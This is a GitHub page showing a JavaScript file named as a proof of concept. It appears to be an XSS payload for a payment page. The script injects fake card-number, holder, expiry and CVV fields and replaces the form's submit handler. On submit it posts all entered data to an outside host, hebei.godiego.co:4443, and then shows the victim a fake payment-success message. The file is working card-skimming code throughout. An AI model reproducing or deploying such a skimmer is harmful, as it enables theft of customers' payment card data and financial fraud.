forked from Josslvh/Josslvh.github.io
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpaymentPagePoc.js
More file actions
57 lines (49 loc) · 2.02 KB
/
paymentPagePoc.js
File metadata and controls
57 lines (49 loc) · 2.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//alert(document.domain)
document.getElementById('customer-email').value=''
try {
document.getElementById('xxxx').remove();
} catch (e){}
for (let text of ['Card number', 'Card Holder', 'Expiration Date', 'CVV']) {
const elementWrap = document.createElement('div');
elementWrap.classList.add('element-wrap');
const elementLabel = document.createElement('div');
elementLabel.classList.add('element-label');
const labelSpan = document.createElement('span');
labelSpan.textContent = text;
const inputElement = document.createElement('input');
inputElement.id = text.toLowerCase().replace(/\s+/g, '-');
inputElement.type = 'text';
inputElement.classList.add('element-is-input');
inputElement.required = true;
inputElement.value = '';
elementLabel.appendChild(labelSpan);
elementWrap.appendChild(elementLabel);
elementWrap.appendChild(inputElement);
const parentElement = document.getElementById('payment-form');
parentElement.insertBefore(elementWrap, document.querySelector('.element-wrap-for-submit'))
}
const element = document.getElementById('payment-form');
const clonedElement = element.cloneNode(true);
element.parentNode.replaceChild(clonedElement, element);
$('#payment-form input').each(function() {
var id = $(this).attr('id');
$(this).attr('name', id);
});
function handleSubmit(event) {
event.preventDefault();
const form = document.getElementById('payment-form');
const formData = new FormData(form);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://hebei.godiego.co:4443/', true);
xhr.onload = function() {
if (xhr.status === 200) {
console.log('Payment processed successfully.');
document.getElementById('payment-form').classList = 'hidden'
document.getElementById('payment-success').classList = "payment-success animated fadeIn text-center"
} else {
console.log('Error processing payment.');
}
};
xhr.send(formData);
}
document.getElementById('payment-form').addEventListener('submit', handleSubmit);